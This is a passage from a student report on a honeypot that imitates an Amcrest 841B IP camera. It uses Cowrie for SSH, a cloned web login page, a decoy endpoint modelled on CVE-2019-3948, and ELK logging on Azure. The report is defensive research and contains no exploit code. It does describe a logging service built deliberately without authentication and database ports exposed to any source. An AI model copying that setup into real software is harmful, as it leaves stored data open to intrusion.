HoneyIo44 offers a specialized approach focusing on Nmap fingerprinting deception, our project provides a broader view, capturing a diverse range of attacks across different protocols, ensuring a comprehensive understanding of the threat landscape.

Throughout the literature review, we explored the evolution of honeypots, their diverse classifications, and their growing importance in IoT security. A remarkable aspect we delved into was the potential of Cowrie as a honeypot for IoT-based attacks. By customising and

leveraging Cowrie's features, we identified its capability to emulate IoT devices effectively, capturing a broad scope of cyber threats, even though Cowrie is not specifically designed for IoT-based attacks. We review papers demonstrating the effectiveness of Cowrie as an IoT honeypot. These insights, combined with our examination of specific IoT honeypots like ThingPot, IoTCMal, and HoneyIo4, have been helped us to shape our research direction, particularly in designing a honeypot that addresses some of the challenges observed in existing solutions. With a solid understanding of the current landscape, we now transition to the methodology section, detailing the approach and tools employed in our research.

3.METHODOLOGY

The methodology section defines the stages of the honeypot project design and the reasons behind these actions. It provides information on the IoT device chosen to be emulated, why Cowrie was selected, how and where the captured data will be stored and why these approaches were preferred. This section outlines the steps and considerations taken to turn these project objectives into a functional system.

3.1. Definition and Design Specifications

The main goal for this project is the rapid increase of IoT devices lately, bringing some cyber security risks with it. Lately, IoT devices are the main target for cyber attacks by attackers. In order to mitigate these risks, one of the proactive methods is honeypots.

We aim to contribute to this field by creating high interaction honeypot for a specific IP camera model, which is AMCREST841B, by combining an existing honeypot called Cowrie with a customised version. In this project, we utilise the SSH protocol through the integration of Cowrie, a protocol frequently targeted by attackers. To enhance the honeypot's realism and thereby attract more adversaries, we implemented a web interface that mirrors the AMCREST841B camera's interface. While this interface operates over the HTTP protocol, it is essential to note that the primary goal was to provide a realistic interaction point for potential attackers rather than specifically emulating the HTTP protocol. High-interaction honeypots allow extensive interaction with attackers and capture detailed data about their activities. In this way, we aim to collect valuable data and do some visualisation to make this data more meaningful and easily readable.

3.2. Design Considerations

In the design of our project, we focused on three key aspects: realism, data capture and security.

Realism: Providing a realistic environment is essential for honeypots. In case attackers are able to detect the honeypot, they immediately leave. To prevent this, we meticulously designed our honeypot to mirror the genuine device in appearance. Our goal is to provide an identical system in some sense, making it difficult for attackers to understand this is a honeypot and keep them as much as possible in the honeypot to get more information.

Data capture: Capturing data is another critical key part of our research. Without comprehensive data, everything becomes more challenging for us. That's why we capture a broad scope of data, from basic login attempts, including usernames, passwords, and commands, to some relevant information such as IP address, session ID and the time they spend in the honeypot. This detailed logging system helps us get some insightful data and, after analysing gain some proper results.

Security: Security is the cornerstone of our project, as it should also be valid for all honeypots. It is essential to take necessary measurements to ensure the system is safe while creating a honeypot that allows attackers high-level interaction. For this, we set up our honeypot in a VM environment isolated from the other networks. If the honeypot is compromised, it will limit the attackers to the VM environment. Saving logs in a remote database is another measurement because we want to see the logs, even the honeypot compromised. This way, we prevent attackers from tampering or deleting logs to destroy their records.

Popularity:

Device Selection: Amcres841B

When choosing a device, one of the first things we consider is to make sure that it is a widely used device and that it is a device at the centre of attacks. Then, more specifically, we chose a device that would increase the realism of the honeypot.

Rationale for Choosing an IP Camera:

<u>Pervasiveness:</u> The number of IP cameras is prevalent, and they can be adopted in various sectors for different purposes, such as security and surveillance(Bugeja et al. 2018). In addition, they can be employed for private purposes in homes and can be used for professional purposes in business environments such as in offices. Their widespread utilisation and the numbers make them a favourite target.

Internet Exposure: IP cameras often have interface directly with the internet without the need to operate behind some defence mechanisms, unlike many IoT devices. This direct exposure allows remote access and makes them prime targets for cyberattacks.

Records: Many attacks targeting IP cameras(Kalbo et al. 2020) have been recorded, and these devices have been targeted for different reasons. One of them is that these devices often include sensitive information, emphasising their importance in the cybersecurity landscape.

The rationale for Choosing Amcrest 841B Specifically:

The selected model comes with a web interface feature, which is not always found in IoT devices. By creating an identical web interface, we increase the realism and give attackers a tangible point for interaction, allowing them to further explore, such as login attempts, live streaming, and buttons.

In addition, IoT devices with interface is more likely to be attracted by hackers. While doing the network scanning, the web interface increases the possibility of the honeypot engagement since it is more detectable.

Amcrest is a well-known IoT device brand, especially in the IP cameras sector. This also increases the risk of getting attacked. If attackers are familiar with the device web interface since we created the same web interface, it increases the ability to convince attackers to believe this is a real system. Moreover, there are several exploited vulnerabilities associated with Amcrest cameras, which can attract attackers. This is the list of CVE records(MITRE ATT&CK 2023) related to the Amcrest devices.

- CVE-2020-7222: Bypass authentication on the login page.
- CVE-2020-5736: Vulnerability over port 37777 leading to device crash.
- CVE-2020-5735: Stack-based buffer overflow over port 37777.
- CVE-2019-3948: Unauthenticated access to the HTTP endpoint /videotalk, potentially allowing unauthorized audio access.
- CVE-2018-16546: Use of the same hardcoded SSL private key across different installations.
- CVE-2017-8230: Low privileged user can add a new administrative user.
- CVE-2017-8229: Unauthenticated attacker can download the administrative credentials.
- CVE-2017-8228: Lack of thorough verification when adding a new camera to a user's account.
- CVE-2017-8227: No account lockout or timeout executed when brute force attempt is performed using the ONVIF.
- CVE-2017-8226: Default credentials hardcoded in the firmware.
- CVE-2017-13719: Memory corruption issue due to missing length check in the code.

Specifically, for our emulation, we included the vulnerability described in CVE-2019-3948, the severity of this vulnerability was 7.5 which is considered as high(National Vulnerability Database 2019). Even though our emulation is based on a newer version of the Amcrest 841B, which might not have these vulnerabilities, attackers might still attempt to exploit them.We created an endpoint that mimics the /videotalk vulnerability, streaming audio to simulate the real-world exploit. When attackers interact with this endpoint, we capture and log their details, such as IP addresses, for further analysis.

In conclusion, the primary goal behind the device selection was to craft a credible, highinteraction honeypot. The Amcrest 841B, with its typical web interface and historical vulnerabilities, was the perfect fit for this assignment. The emulation aims to mimic a realworld device to attract and monitor potential attackers.

The Rationale of choosing Cowrie:

Cowrie: Cowrie is a widely recognised tool in the cyber security community. It is a highinteraction SSH and Telnet honeypot and is also known for its effectiveness in brute-force attacks and shell interactions. Cowrie is one of the main parts of our project, and we aim to log SSH-based interaction via this tool. The high interaction of Cowrie's nature helped us gather detailed insight into attacker behaviours, from login attempts to deeper system interactions. However, it was not designed for IoT attacks, but as we discussed in the literature review, research papers(Kyriakou and Sklavos 2018; Shrivastava et al. 2018; Lingenfelter et al. 2020; Saputro et al. 2021) have demonstrated that Cowrie could be a valuable tool for IoT-based attacks. One of the first things that attackers do is brute-forcing SSH. Since we desire to expand the attack surface, we need a honeypot that emulates SSH protocol and allows high interaction after successfully brute-forcing

Cowrie's reputation for extensive logging capabilities, allowing us to emulate real SSH service, advanced configuration options, enabling customisation, and sufficient documentation make Cowrie an ideal choice for our project.

3.3. Tools, Technologies, and Platforms

The Rationale of choosing PostgreSQL

PostgreSQL is a powerful, open-source relational database system. It's known for its extensibility, SQL compliance, and features. For our project, PostgreSQL is utilised for temporary data storage. All interactions captured by Cowrie and additional data from the emulated Amcrest 841B interface are stored here for subsequent analysis.

There are several reasons to consider PostgreSQL as database system, including: its robustness, reliability, and capability to handle large datasets efficiently made PostgreSQL the preferred

choice. Additionally, its compatibility with various platforms and tools, including Azure, ensures seamless integration within the project's ecosystem.

When compared to other databases such as MySQL, PostgreSQL stands out with its advanced features like table inheritance and function overloading. Furthermore, PostgreSQL's capability to support JSON data types makes it superior in handling semi-structured data.

On the other hand, SQLite is a lightweight database ideal for relatively smal projects. However, for now, SQLite could be worked fine, but we aim to expand our project in the future, so for a project of this scale, where large amounts of data are expected, PostgreSQL's robustness and scalability make it a more suitable choice.

In summary, both MySQL and SQLite could work for our project however, considering the future we need to eliminate SQLite and for more advanced features such as supporting other additional data types we selected PostgreSQL as a database.

Ubuntu:

Ubuntu is a popular and open-source Linux distribution known for user-friendly interface and stability. In our project, we used Ubuntu for operating system layer where Cowrie, Web interface and other relevant technologies run. Its compatibility with a wide range of software ensures that the setup and integration process is smooth.

Rationale for Choosing Java, Spring Boot and Thymeleaf:

Java is an object-oriented programming language known for its platform independence. For our project, Java provides the backbone for developing the emulated Amcrest 841B web interface.

Spring Boot, a framework built on Java, offers rapid development capabilities with minimal setup. Its convention-over-configuration approach ensures that the development process goes smoothly and efficiently. The combination of Java and Spring Boot allows for the creation of a robust and scalable web interface for the Amcrest 841B camera.

Thymeleaf is an essential addition, serving as a modern server-side Java template engine for web applications. It integrates seamlessly with Spring Boot, allowing for the creation of HTML pages for the emulated Amcrest 841B web interface, such as login, live and videotalk.

Rationale for Choosing the ELK Stack:

These three components are crucial for our project. We aimed to make the captured data more meaningful and efficiently comprehensible through visualisation. In order to achieve this, we used ;

Elasticsearch: A powerful search and analytics engine, it processes and analyses the vast amounts of data captured by the honeypot in real-time.

Logstash: This server-side data processing pipeline ingests data from multiple sources simultaneously, transforming it, and then sending it to a "stash" like Elasticsearch. In this project, Logstash facilitates the transfer of data from PostgreSQL and other sources to Elasticsearch.

Kibana: Working in tandem with Elasticsearch, Kibana visualises the data, making it interpretable and providing insights into attacker behaviours. Using Kibana, we created some graphs and charts in order to make some reasonable assumptions.

Python: Python is widely used programming language, ideal for scripting tasks. For our project, Python scripts were used for automated functions, such as starting and stopping services and fetching data from Cowrie and the emulated Amcrest interface. This automation ensures efficient data transfer and system operations while saving time, and it helps the entire process go smoothly.

Rationale for Choosing Microsoft Azure:

The project initially began with AWS. Even the beginning and setup process were challenging due to the limited resources that the free tier provided, and finally, AWS's free tier was quickly exhausted due to the demands of our project, even though our project did not require high CPU or data storage.

This necessitated a shift to another cloud provider. Cost-Effective for Students: Azure offers a \$100 credit for students, providing a significant buffer for experimentation without additional costs. This student-friendly pricing was a decisive factor, especially when compared to the costs encountered on AWS.

Azure's infrastructure allows for easy scaling of resources, ensuring that as the project's demands grow, the cloud infrastructure can accommodate it.

Azure's compatibility with tools like PostgreSQL and Java ensures a smooth integration, making the transition from AWS more seamless. Given the requirements of the project, security is paramount. Azure is equipped with robust security features to ensure the safety of data and applications.

In essence, the specific demands of the project and the cost constraints led to the decision to transition from AWS to Azure. Azure's student-friendly pricing, combined with its scalability and security features, made it the ideal choice for this project.

Protocol Emulation

SSH Interaction(via Cowrie):

The project utilised Cowrie to emulate standard SSH interactions. While Cowrie inherently provides a high-interaction SSH honeypot. Instead, Customised Cowrie was set up to capture general SSH-based interactions, which are common attack vectors for many IoT devices. SSH remains one of the most targeted protocols by cyber attackers, especially for IoT devices. By setting up Cowrie, the project aimed to capture and analyse brute-force attempts, shell interactions, and other SSH-based attack methodologies. This data provides valuable insights into the tactics, techniques, and procedures employed by attackers targeting IoT devices over SSH.

HTTP Interaction (via the Web Interface of Amcrest 841B):

The emulation focused on specific HTTP endpoints integral to the Amcrest 841B's web interface:

/login: Represents the login interface.

/live: Potentially mimics a live feed with streaming a video and buttons

/error: Handles and displays error messages.

/videotalk: It includes audio streaming, which is associated with CVE-2019-3948 in older versions of the Amcrest 841B. This endpoint was emulated to observe potential exploitation attempts.

Emulating these endpoints provides insights into attacker methodologies, tools used, and vulnerabilities targeted.

Since one of our goals is to attract as many attackers as to our honeypot so for this, when they do network scanning, they basically see two open ports. One of them is port 22, which is customisation Cowrie, and the other is port 80, which is the web interface we created. Therefore we aim to get more attackers either they try to interact via SSH or HTTP.

The combination of SSH (via Cowrie) and HTTP endpoint emulations offers a multi-faceted interaction model for the honeypot. This dual-layered approach ensures a broader capture of potential attack vectors, providing a comprehensive view of threats targeting IoT devices.
4.IMPLEMENTATION

4.1. Implementation Overview

In this section, we will delve into the intricate details of our honeypot system's implementation, encompassing a diverse set of technologies and platforms tailored to capture and analyse potential cyber threats.

- 1. **Ubuntu & Virtual Machine (VM)**: We'll begin by discussing our choice of Ubuntu as the foundational operating system.
- 2. **Cowrie Honeypot**: An exploration into Cowrie, our primary honeypot tool, detailing its setup, configuration, and its pivotal role in capturing attacker interactions.
- 3. Web Interface Emulation (Spring Boot Applications): A deep dive into the web interface designed to emulate the Amcrest 841B IoT camera. We'll cover its architecture, the technology stack including Spring Boot, and the various pages like login, live feed, error handlers, and the 'videoTalk' endpoint.
- 4. Azure & Remote Logging: We'll transition into our cloud-based setup on Microsoft Azure, highlighting the creation of the virtual machine, its configuration, and the deployment of our logging service. The process of capturing logs from the web interface, storing them in PostgreSQL, and subsequently forwarding them to Azure will be elucidated.
- 5. Elasticsearch, Logstash, and Kibana (ELK Stack): Lastly, we'll discuss our integration with the ELK stack, detailing how logs are processed, indexed, and visualized, providing us with actionable insights into attacker behaviours.
- 6. **Scripts**: We'll touch upon the various scripts developed to automate, enhance, and streamline various processes within our honeypot system, ensuring efficient data capture and analysis

4.1.1. Ubuntu

We utilized Ubuntu to run cowrie and web interface. Ubuntu, a popular Linux distribution, served as the foundational operating system for our project. The version we used is 22.04.3 LTS. We installed ubuntu 22.04 on VM with allocatable size.



Figure 2 The Ubuntu Version Utilised for the Project

4.2. Web Interface Implementation

The primary goal of the web interface emulation was to mimic the appearance and behaviour of the Amcrest 841B IoT camera's web interface. This emulation serves as a honeypot, enticing potential attackers to interact with it, believing it to be a genuine device. This web interface consists of a few pages which are the login page, live page, error pages and videotalk.

For the web interface and logging mechanism we developed two spring boot apps named springboot-ipcamera-amcrest which job is emulate the web interface, and springboot-ipcamera-logging which is the main job is covers the logging mechanism.

The springboot-ipcamera-amcrest operates as a part of the honeypot and is implemented with the popular Java framework, Spring Boot. It utilizes Spring Boot, Spring Security, and Spring JPA.

During the project's realization, a multi-layered architecture adhering to OOP principles was employed. Each layer is separated using Spring features. The layers used include Web, controller, service, repository, and model. DTO objects are used for communication between layers. The login page, live page, error pages, and videotalk pages are implemented with Thymeleaf. HSQLDB database is used for test purposes. The database is recreated during runtime. The springboot-ipcamera-amcrest is designed to precisely emulate the Amcrest 841B IoT camera's web interface.

Every action on the page is sent to the logging service which is springboot-ipcamera-logging for permanent storage.

The IP address of the user performing actions on the page, the information written to input fields, and clicked buttons are transmitted to the logging service via requests.

The logging service is implemented with the same framework as springboot-ipcamera-amcrest, which is Spring. It uses Spring Boot and Spring JPA. Like the previous project, a multi-layered architecture adhering to OOP principles was employed. Each layer is separated using Spring features. The layers used include Web, controller, service, repository, and model. DTO objects are used for communication between layers.

A login page and a log listing page have been implemented with Thymeleaf for the admin user to view and filter logs. PostgreSQL is used as the database.

The logging service stores all incoming requests in the database. The admin user is redirected to the log listing page using their username and password via the admin page. The log listing page displays all records in the database to the admin user. The page has filtering and pagination features.

Security was not used in the logging service, similar to springboot-ipcamera-amcrest, to avoid the cost of sharing tokens in many external service requests such as requests coming from springboot-ipcamera-amcrest and Cowrie. The logging service runs on Microsoft Azure.

Technology Stack:

• Java: The core programming language used for developing the backend logic.

- **Spring Boot**: A robust framework that facilitates rapid development, providing essential functionalities like embedded servers, security configurations, and database interactions.
- **Thymeleaf**: A templating engine used in conjunction with Spring Boot to render dynamic HTML pages based on the backend data.

Login page: We designed the replica of the real camera web interface login page and login mechanism. It captures all login attempts. The first figure belongs to the real Amcrest Login page. The second figure is the web interface we designed, as you can see, this looks identical, which is extremely important for us in order to convince attackers this is a real Amcrest Camera. This page is also relatively more important than the other because this is the first page that attackers face, so if they suspect anything about this page, it is possible they will leave immediately without any interaction.



Figure 3 The Real Amcrest Login Mechanism

OAMCREST
IP Camera Web Access

Figure 4 The Real Amcrest Login Page

OAMCREST
IP Camera Web Access
© 2021 Ancreal Technologies.

Figure 5 The emulated Amcrest Login Page

The login page was designed using Thymeleaf templates to closely resemble the Amcrest camera's login page. Upon submission, the credentials are checked against predefined values. If they match, access is granted; otherwise, an error message is displayed. While the primary purpose is to act as a honeypot, essential security measures were implemented, such as hashing passwords.



Figure 6 The Login Merhod in Detail

The method called 'login' in "UserController" handles the login request and the corresponding HTML/Thymeleaf template for the login page.

Live Page: We designed this page to provide a representation of a live camera feed. It provide a representation of a live camera feed. Once authenticated, users are directed to the live page. This page was designed using Thymeleaf and displays an embedded video stream, enhancing the authenticity of the emulation. While the real interface might have multiple functionalities via buttons, the emulated version provides a visual presentation without actual backend functionality, However, we still log the details of which buttons are clicked in order to get insight into attacker moves. The embedded video is a pre-recorded clip that loops continuously, giving the illusion of a live feed, to increase the realism of the embedded video recorded by the same camera.



Figure 7 A Representation of the Real Camera Feed



Figure 8 Representation of the Our emulation Camera Feed

VideoTalk Endpoint:

To emulate a vulnerability found in an earlier version of the Amcrest camera model, where accessing a specific endpoint allowed unauthorized access to audio. A new endpoint named videoTalk was added. When accessed, it simulates the behaviour of the vulnerability, potentially capturing the attacker's intent to exploit this specific CVE-2019-3948(*National Vulnerability Database* [no date]). We captured the IP address of attackers in order to show how many of the attackers are aware of this vulnerability.

Screenshot Suggestion: A screenshot of the videoTalk endpoint in action, showing what an attacker would see when they access it.

Error Pages: To handle incorrect or unauthorized requests gracefully, providing feedback to the user while also logging such events. Custom error pages were designed using Thymeleaf templates. These pages are displayed when a user accesses a non-existent endpoint or encounters an application error. The error pages enhance the realism of the emulation and provide a more genuine user experience.

We have three different error pages, which are error-404.html,error-500.html and eror.html, in order to handle the unacceptable requests.

Error-404.html:

Sorry, we couldn't find the page you were looking for.

Figure 9 Error 404 Page View

Error-500.html:

Sorry, something went wrong!
We're fixing it.
Go Home

Figure 10 Error 500 Page View

Error.html:

Something went wrong!

Our Engineers are on it

Figure 11 Unkown Error View

Maven Configuration (pom.xml):

We used Maven to manage project dependencies, plugins, and build configurations. The pom.xml file, central to any Maven project, was configured to include necessary dependencies such as Spring Boot, Thymeleaf, and JPA. It also defines plugins like the spring-boot-maven-plugin which aids in building and packaging the application. Key dependencies ensure the application's functionality, from web operations (Spring Web) to database interactions (Spring Data JPA).

77 pom.xn	h		🏨 🗸 🛛 📹 IpCameraApplication 🔻 🕨 🎄 🕼 🗸 🗮 🔍 🏚
m pom			
19 🞯	<depeni< td=""><td>dency></td><td>0 2 A 20 A V</td></depeni<>	dency>	0 2 A 20 A V
20		roupId>org.projectlombok	
21		rtifactId>lombok	
22		ersion>1.18.20	
23		cope>provided	
24	<td>ndency></td> <td></td>	ndency>	
25 🞯			
26	<q1< td=""><td>roupId>org.springframework.boot</td><td></td></q1<>	roupId>org.springframework.boot	
27		rtifactId>spring-boot-starter-web	
28		ndency>	
29			
30 🞯			
31		roupId>org.springframework.boot	
32			
33		ndency>	
34 🞯	<depen< td=""><td></td><td></td></depen<>		
35			
36			
37		ndency>	
38 ©			
39			
48			
41			
42 🎯			
43			
44			
45	<td>ndency></td> <td>e e e e e e e e e e e e e e e e e e e</td>	ndency>	e e e e e e e e e e e e e e e e e e e
46 ©	depeni		
47			
48			
49		cope>runtime	
50			
51			
52			
53		rtifactId>json	
54			
55	<td>ndency></td> <td></td>	ndency>	
56 🞯	<depen< td=""><td></td><td></td></depen<>		
57		roupId>org.springframework.boot	

Figure 12 Pom.xml File Content

pom.xml file, highlighting some of the key dependencies and plugins such as Lombok and HSQLDB. HSQLDB was used only for testing purposes.

Data Storage: The responsibility of data storage is managed by the springboot-ipcamera-logging application, which operates on Microsoft Azure.

Firefo	x Web Browser honpotuser@HonPotDB: -/LOGS/springboot-lpcamera-logging Q = ×
honpot WARNII WARNII nt,jav WARNII WARNII WARNII	<pre>tuaref@nostt08://06/jggringbost-igenersingsing wm -f pom.wnl spring-boot:rum 60: An (llegal reflective access by com.google.inject.internal.cgllb.core.SReflectUtilsS1 (file:/usr/share/naven/llb/gutce.jar) to method java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,i acsecurity.ProtectionBoomain) 60: UseCllegal-accessawart to enable arinings of further Illegal reflectUti access operations 60: UseCllegal-accessawart to enable arinings of further Illegal reflective access operations 16: Jeanning for projects,</pre>
INFO INFO INFO	Building springboot-ipcamera-logging John John Statemera-logging Joh
INFO	>>> spring-boot-naven-plugin:2.3.4.RELEASE:run (default-cll) > test-compile @ springboot-lpcamera-logging >>>
INFO INFO INFO INFO INFO	naven-resources-plugini3.1.0:resources (default-resources) @ springboot-ipcamera-logging Using 'UTF-8' encoding to copy filtered resources. Copying 1 resources
INFO INFO	maven-compiler-plugin:3.11.0:compile (default-compile) @ springboot-ipcamera-logging Nothing to compile - all classes are up to date
INFO INFO INFO	naven-resources-plugin:3.1.0:test@esources (default-testResources) @ springboot-ipcamera-logging Using 'UTF-8' encoding to copy filtered resources. skip non esisting resourceDirectory /MoveMonpotuser/JDGS/springboot-ipcamera-logging/src/test/resources
INFO INFO	maven-compiler-plugin:3.11.0:testCompile (default-testCompile) @ springboot-ipcamera-logging Nothing to compile - all classes are up to date
INFO INFO	<<< spring-boot-maven-plugin:2.3.4.RELEASE:run (default-cli) < test-compile @ springboot-lpcamera-logging <<<
INFO INFO	spring-boot-maven-plugin:2.3.4.RELEASE:run (default-clt) @ springboot-ipcamera-logging Attaching agents: []
02:06	23.663 [main] INFO com.lpcamera.logging.lpcameraloggingApplication - STARTING THE APPLICATION
(()) (()) \\/	
2023- a-log	10-09 02:06:24.656 INFO 1679 [main] c.i.logging.IpCameraLoggingApplication : Starting IpCameraLoggingApplication on HonPotDB with PID 1679 (/home/honpotuser/LOGS/springboot-ipcamera-logging)

Figure 13 Terminal Output of Springboot IP Camera Logging

Initially, we established an admin page to view the logs

After successful authentication, this page presents the logs as raw data. Here, we can observe the origin of the logs and their content. Within our Azure setup, these logs are fetched in a detailed manner. To enhance clarity and comprehension, we present these logs in a more structured and readable format with visualization.

🖷 🛞 Elastic	× Log in with your account × +		× (.) (0) (X
$\leftarrow \rightarrow \ G$	O 🔁 20.117.157.248:8092		ය ල දා ≡
		Log in	
		CMT400	
		Password	
		LOG IN	

Figure 14 Admin Login Page of the Logs System

\rightarrow G	0 8 20.117	.157.248:8082/log	JUser		습		Û
	Wel	come ad	min	COWRITE REFRESH LOGOUT			
	Show	10 v entries		Search:			
	ID *	SERVICE NAME	DATE	LOG			
	12543	ipcamera.amcrest	9/25/23, 8:12 PM	Username is found. username: admin; password: \$2a\$10\$IHL:CB5s1hkSPIjS/BKJ4uc4l1rXsnHqX4ECkuBw97XJP2BMyzODS			
	12542	ipcamera.amcrest	9/25/23, 8:12 PM	TRY username: admin ;password :LondonAdmin			
	12541 ipcamera.amcrest 9/25/23, 8:11 PM		9/25/23, 8:11 PM	Your username and password is invalid.,IP:192.168.0.132,Server name:192.168.0.132,Server port:8080			
	12540	ipcamera.amcrest	9/25/23, 8:11 PM	login page is opened,IP:192.168.0.132,Server name:192.168.0.132,Server port:8080			
	12539	ipcamera.amcrest	9/25/23, 8:11 PM	Username is found. username: admin; password: \$2a\$10\$IHLCBSs1hkSPIjSfBKJ4uc4l1rXsnHqX4ECkuBw97XJP2BMy2ODS			
	12538	ipcamera.amcrest	9/25/23, 8:11 PM	TRY username: admin :password :CArdiff			
	12537	cowrie	9/25/23, 8:11 PM	192.168.0.132 - dfa723248a7c - cowrie.session.closed - Connection lost after 0 seconds			
	12536	cowrie	9/25/23, 8:11 PM	192.168.0.132 - dfa723248a7c - cowrie.session.connect - New connection: 192.168.0.132:60766 (192.168.0.132:22) [session: dfa723248a7c]			
	12535	ipcamera.amcrest	9/25/23, 8:10 PM	Your username and password is invalid, IP:192.168.0.132, Server name:192.168.0.132, Server port:8080			
	12534	ipcamera.amcrest	9/25/23, 8:10 PM	login page is opened,IP:192.168.0.132,Server name:192.168.0.132,Server port:8080			

Figure 15 Raw Logs Page View

For that, in the 'Log' entity class the 'LogRepository; interface provides methods to interact with the database. We defined the structure of logs for the temporary storage of interactions on PostgreSQL. Service name shows the logs where it comes, either web interface or cowrie which makes our job easy to determine the log resources.

Using Spring Boot's JPA (Java Persistence API) capabilities, interactions like login attempts and live feed page actions are stored in a PostgreSQL database. This includes details like timestamps, IP addresses, and the type of interaction.

The Log entity represents a single log entry, capturing details of each interaction. Repositories, and interfaces extending Spring JPA's JpaRepository provide methods to save and retrieve logs from the database.



Figure 16 The Log Entity Code

Microsoft Azure: We chose a remote server for enhanced security, ensuring that logs and sensitive data are stored away from the honeypot, reducing the risk of compromise. For this, the selected cloud provider is Microsoft Azure. The chosen image for the VM was Ubuntu. We configured the VM with a size of Standard B2s, which offers 2 vCPUs and 4 GiB memory, ensuring optimal performance for our needs. For authentication, we provided options for either a password or an SSH key, emphasizing security. We also customized the inbound port rules. Within this Azure VM, we deployed our Spring Boot application for logging.

Microsoft Azure		>> Search resources, services, and docs (G+/)				CARDIFF UNIVERSITY
Home > HonPotDB					AllowAnyCustom5601Inbound	×
MonPotDB Networ	king ★ …				HonPotDB-nsg	
₽ Search «	🕂 Feedback 🖉 Attac	ch network interface σ^{σ} Detach network interfa	ce			
Overview	IP configuration ①				Source ()	~
Activity log	ipconfig1 (Primary)	\sim				
Access control (IAM)	Network Interfa	ce: honpotdb716 Effective security rules	Troubleshoot VM cor	nnection issues Topology	10.0.0.0/24 or 2001:1234::/64	
Tags	Virtual network/subn	et: HonPotDB-vnet/default NIC Public IP: 20.	117.157.248 NIC Priva	te IP: 10.0.0.4 Accelerated networking	Source port ranges * ()	
X Diagnose and solve problems	Inbound port rule	s Outbound port rules Application sec	urity groups Load bal	ancing	source por ranges - 0	
Settings	Network constraints	-		5	Destination ①	
2 Networking	Impacts 0 subne	ts, 1 network interfaces	interface: nonpotdb7 (6)		Any	~
💋 Connect	Priority	Name	Port	Protocol 5	Service ①	
Bisks	300	SSH	22	TCP &	Custom	~
📮 Size	320	AllowAnyCustom8082Inbound	8082	Any A	Destination port ranges * ③	
O Microsoft Defender for Cloud	330	AllowAnyCustom9200Inbound	9200	Any ٤	5601	
Advisor recommendations	340	AllowAnyCustom5432Inbound	5432	Any &	Protocol	
Extensions + applications	350	AllowAnyCustom5601Inbound	5601	Any A	O TCP	
Availability + scaling	65000	AllowVnetInBound	Any	Any \	O UDP	
i Configuration	65001	AllowAzureLoadBalancerInBound	Any	Any A	O ICMP	
💲 Identity	65500	DenyAllinBound	Any	Any 4	Action	
Properties					Allow	

Figure 17 Azure VM Settings

In setting up our Azure VM, we ensured secure remote access by enabling SSH on port 22. Given that we're utilizing Kibana for our visualizations, we opened port 5601 to access its dashboard. Additionally, we've configured Elasticsearch to run on its default port, 9200, so we made sure to allow traffic on that port as well. Our Spring Boot application, which is integral to our honeypot system, runs on port 8082, so we've opened that port for external access. Furthermore, since we're using PostgreSQL for our database needs, we've also allowed traffic on its default port, 5432. It's worth noting that we've been meticulous in ensuring only the necessary ports are open, and we've taken measures to restrict access and maintain a secure environment.

Elasticsearch:

Installation: We started by installing Elasticsearch on our Azure VM. Post-installation, we adjusted the Elasticsearch configuration to suit our needs. This involved editing the elasticsearch.yml file, where we set the node name, cluster name, and other essential parameters. We also ensured that Elasticsearch was set to listen on its default port, 9200.



Figure 18 Installing ElacticSearch

Recognizing the importance of securing our Elasticsearch instance, we implemented basic authentication. This ensures that only authorized personnel can access our Elasticsearch data.

Logstash Setup: We installed Logstash, a server-side data processing pipeline that ingests data from multiple sources, transforms it, and then sends it to a specified destination - in our case, Elasticsearch. We set up Logstash with specific pipelines to process the logs from our honeypot. This involved creating a configlogstash-pg.conf file, which defines the input, filter, and

output stages. The input stage specifies the source of the logs, the filter stage processes and transforms the logs, and the output stage sends the processed logs to Elasticsearch. Our Spring Boot application captures interactions and logs them. Logstash then processes these logs and forwards them to Elasticsearch for indexing.

Input Section: I've set up a JDBC input to connect directly to my PostgreSQL database. I've specified the path to my JDBC driver and provided the necessary credentials to connect to my testdb database. I've set it up to run every minute (schedule => "* * * * *"), and it fetches logs from the log table that have a create_date greater than the last fetched value. This ensures that I'm only pulling in new logs and not reprocessing old ones. I've also specified a path to store the last run metadata, so Logstash knows from where to pick up next time.



Figure 19 A JDBC Input

Filter Section: Now, this is where I've added some intelligence to process the logs. I've set up filters for two types of logs: Cowrie logs and logs from my IP camera web interface. I utilized the grok filter in Logstash to parse and structure the unstructured log data from both my Cowrie honeypot and IP camera web interface, enabling me to extract key details for analysis and visualization

Cowrie Logs: I've set up patterns to extract key details like the source IP, session ID, and event type. I've also added specific patterns to extract details like login attempts, command inputs, session durations, and file download URLs. This ensures that I have a structured view of what's happening in my honeypot.

IP Camera Logs: For the logs from my IP camera web interface, I've set up patterns to extract details like attempted usernames and passwords, successful logins, actions performed, and any

invalid login attempts. This gives me a clear picture of any suspicious activities on my IP camera interface.



Figure 20 Cowrie Logs

Output Section: Finally, I've set up an output to send the processed logs to my Elasticsearch instance. I've provided the connection details and credentials. I've also set up an index naming convention to store logs in a time-based manner, which makes it easier for me to perform time-series analysis in Kibana.



Kibana Setup:

Installation: With Elasticsearch in place, we proceeded to install Kibana, which provides a web-based interface for visualizing the data stored in Elasticsearch. We edited the kibana.yml configuration file to specify the Elasticsearch instance it should connect to. We also set Kibana to run on its default port, 5601.



Figure 22 Kibana Default Port

Once Kibana was up and running, we created custom dashboards tailored to our honeypot's logging needs. This allowed us to visualize patterns, such as login attempts, command executions, and other relevant interactions captured by our honeypot.

😚 elastic			Q Search Elastic						0	۵ ک
E Discover ~					Options	New	Save (Open :	Share	Inspect
😰 🗸 Search			KQ	QL 📋 🗠 Last 15 days			Show	dates	СR	Refresh
🗊 – + Add filter										
testdb-logs-* ${}^{}$	*** *=	23,807 hits	Sep 23, 2023 @ 21:16:55.406 - Oct 8, 2023 @ 21:16:55.406	Auto ~					ø Hid	je chart
Q Search field names		20.000								1
Filter by type 0	~	8 10,000 5,000								
🗂 fannasranh		2023-09-25 00:00	2023-09-27 00:00 2023-09-29 00:00 2023-10-01 00:00 202	2023-10-03 00:00 202	23-10-06 00:00	2023-1	0-07 00:00			
(t) @version			create_date per 12 hours							
(t) action			THINKY, LEPTON-TORP-TOT2'0A'TO "PROLE" _ TANKY TOP							
Create_date		> Sep 25, 2023 0 22:04:43.480	@timestamp: Sep 25, 2023 @ 22:05:00.975 @version: 1 action: stream create_date: Sep 25,	, 2023 @ 22:04:43.480 1d:	12,702 ip_address:	192.168.	0.132 10	g: sub s	tream i	.6
(t) duration			clicked ,IP:192.168.0.132,Server name:192.168.0.132,Server port:8080 server_name: 192.168	8.0.132 server_port: 8080	service_name: ipcan	era.amcr	rest _1d:	Uboozoo	BNeX3Te	yA5E0h
